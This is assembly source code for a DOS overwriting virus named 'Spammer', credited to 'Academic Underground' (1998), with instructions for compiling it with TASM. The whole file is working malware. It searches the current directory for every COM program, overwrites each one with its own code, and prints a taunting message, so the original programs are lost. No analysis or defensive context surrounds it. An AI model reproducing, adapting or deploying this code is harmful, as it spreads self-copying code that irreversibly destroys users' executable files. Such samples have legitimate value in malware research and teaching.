;Spammer Virus ; ; A sample overwritting virus that will overwrite every COM file in it's ; directory. Any overwritten file will display a taunting message. ; ; To compile: ; TASM spammer.asm ; TLINK /t spammer.obj ; ; (c) Sept 1998 Academic Underground .model small .code FNAME EQU 9Eh ; DTA - Search results org 100h SPAMMER: mov ax, 4e00h ; Find first file mov dx, offset COM_FILE ; Search String (*.COM) mov cx, 0 ; No file attributes int 21h ; Search. SEARCH_AGAIN: jc DONE ; Nope, no COMs...quit. call INFECT ; Found one! Infect. mov ah,4fh ; Find Next (DTA already set) int 21h ; Find it. jmp SEARCH_AGAIN INFECT: mov ax,3d01h ; Open file as Write only mov dx,FNAME ; Filename from DTA int 21h ; Open it jc DONE ; Damn error, quit xchg ax,bx ; Move file handle to BX mov ah,40h ; Write to file mov cx, (offset END_V - offset SPAMMER) ; Length of virus mov dx,100h ; Start of our virus int 21h ; Commit Changes mov ah,3eh ; OK we're done, Close file int 21h ret PAYLOAD: mov ah,9h ; Write string mov dx,offset MSG ; String to write int 21h ; Display it ret DONE: call PAYLOAD ; Execute Payload mov ax,4c00h ; Quit without error int 21h ; Return to DOS COM_FILE db '*.COM',0 ; Find all COM files MSG db 'Ha Ha Ha! I own YOU! -- The Spammer$' END_V: END SPAMMER